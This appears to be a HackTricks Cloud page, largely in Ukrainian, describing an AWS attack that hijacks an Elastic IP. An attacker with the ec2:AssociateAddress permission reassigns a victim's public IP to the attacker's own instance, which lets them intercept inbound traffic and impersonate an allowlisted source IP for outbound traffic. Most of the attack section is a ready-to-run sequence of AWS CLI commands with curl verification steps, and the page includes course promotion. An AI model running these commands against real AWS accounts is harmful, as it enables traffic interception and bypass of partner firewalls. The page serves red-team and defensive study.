AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
Reading time: 3 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Підсумок
Зловживання ec2:AssociateAddress (та опційно ec2:DisassociateAddress) для повторної асоціації Elastic IP (EIP) з інстансу/ENI цілі на інстанс/ENI зловмисника. Це перенаправляє вхідний трафік, спрямований на EIP, до зловмисника і також дозволяє зловмиснику ініціювати вихідний трафік з allowlisted публічною IP-адресою, щоб обійти зовнішні фаєрволи партнерів.
Передумови
- Target EIP allocation ID in the same account/VPC.
- Інстанс/ENI зловмисника під вашим контролем.
- Права:
ec2:DescribeAddressesec2:AssociateAddressдля allocation-id EIP та для інстансу/ENI зловмисникаec2:DisassociateAddress(необов'язково). Примітка:--allow-reassociationавтоматично від'єднає від попереднього приєднання.
Атака
Змінні
REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
- Виділити або визначити EIP жертви (лабораторія виділяє новий і прикріплює його до жертви)
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
- Перевірте, що EIP наразі вказує на сервіс жертви (наприклад, перевірка на banner)
curl -sS http://$EIP | grep -i victim
- Повторно асоціювати EIP з attacker (автоматично від'єднається від victim)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
- Перевірте, що EIP тепер вказує на attacker service
sleep 5; curl -sS http://$EIP | grep -i attacker
Докази (переміщена асоціація):
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text
Вплив
- Inbound impersonation: Увесь трафік до захопленого EIP доставляється на attacker instance/ENI.
- Outbound impersonation: Attacker може ініціювати трафік, який виглядає так, ніби він походить з allowlisted public IP (корисно для обходу partner/external source IP filters).
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud